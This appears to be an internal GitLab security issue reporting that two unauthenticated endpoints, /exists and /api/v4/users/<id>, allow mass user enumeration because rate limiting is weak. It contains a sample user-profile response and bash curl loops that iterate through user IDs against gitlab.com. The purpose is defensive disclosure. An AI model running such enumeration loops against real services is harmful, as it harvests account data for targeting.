User enumeration vectors /exists and /api/v4/users missing rate-limit
Summary
The permissions for some of our API endpoints make it too easy to mass-probe accounts once a potentially valid list of targets has been obtained.
This makes a scenario such as that detailed in https://about.gitlab.com/2019/05/14/git-ransom-campaign-incident-report-atlassian-bitbucket-github-gitlab/ [1] much more likely and easier to carry out.
By virtue of # 1, # 2 shown below and https://gitlab.com/gitlab-org/gitlab-ce/issues/62493 it's easy for a malicious user to leverage GitLab as a source for valid user-data or a verify an already existing dataset.
/cc
@jritchey @estrike @jbroullon @dappelt for appsec feedback
@jarv @dawsmith for prod feedback
@northrup for infra feedback
@asaba for your involvement in [1]
@gitlab-com/gl-security/secops for visibility
1 /exists
Endpoint | Authentication |
---|---|
https://gitlab.com/users/jsalazar-gitlab/exists | none |
{"exists":true}
2 /api/v4/users/id
Endpoint | Authentication |
---|---|
https://gitlab.com/api/v4/users/33848217 | none |
For one user this would be the result:
https://gitlab.com/api/v4/users/33848217
```{"id":3355217,"name":"Jayson Salazar","username":"jsalazar-gitlab","state":"active","avatar_url":"https://assets.gitlab-static.net/uploads/-/system/user/avatar/3355217/avatar.png","web_url":"https://gitlab.com/jsalazar-gitlab","created_at":"2019-11-05T23:55:39.862Z","bio":"Security Engineer, Security Operations","location":"test","public_email":"","skype":"test","linkedin":"https://linkedin.com/in/jaysonsalazar","twitter":"test","website_url":"test","organization":"Gitlab Inc."}```
This endpoint can be iterated over. For multiple users the responses would look as follows:
shell:~/Desktop/WORK/gitlap.com$ for i in `seq 1 10000`; do echo -n $i ' '; curl -si https://gitlab.com/api/v4/users/$i | grep '{'; done
1 {"id":1,"name":"Si...}
2 {"message":"404 User Not Found"}
3 {"id":3,"name":"Tr...}
4 {"message":"404 User Not Found"}
5 {"id":5,"name":"Ch...}
6 {"id":6,"name":"ri...}
7 {"message":"404 User Not Found"}
8 {"message":"404 User Not Found"}
9 {"message":"404 User Not Found"}
10 {"message":"404 User Not Found"}
11 {"id":11,"name":"Bi...}
12 {"message":"404 User Not Found"}
13 {"message":"404 User Not Found"}
14 {"id":14,"name":"Ka...
15 {"id":15,"name":"JJ...
16 {"message":"404 User Not Found"}
17 {"message":"404 User Not Found"}
18 {"id":18,"name":"sw...}
19 {"message":"404 User Not Found"}
20 {"id":20,"name":"Gö...
21 {"message":"404 User Not Found"}
22 {"message":"404 User Not Found"}
23 {"message":"404 User Not Found"}
24 {"id":24,"name":"Ph...}
Some sort of rate-limit seems to be in place but is, for security purposes at least, ineffective.
shell:~$ for i in `seq 1 10000`; do echo -n $i ' '; curl -si https://gitlab.com/api/v4/users/$i | grep RateLimit-Remaining; done
1 RateLimit-Remaining: 598
2 RateLimit-Remaining: 599
3 RateLimit-Remaining: 598
4 RateLimit-Remaining: 597
5 RateLimit-Remaining: 599
6 RateLimit-Remaining: 598
7 RateLimit-Remaining: 597
8 RateLimit-Remaining: 596
9 RateLimit-Remaining: 599
10 RateLimit-Remaining: 598
11 RateLimit-Remaining: 597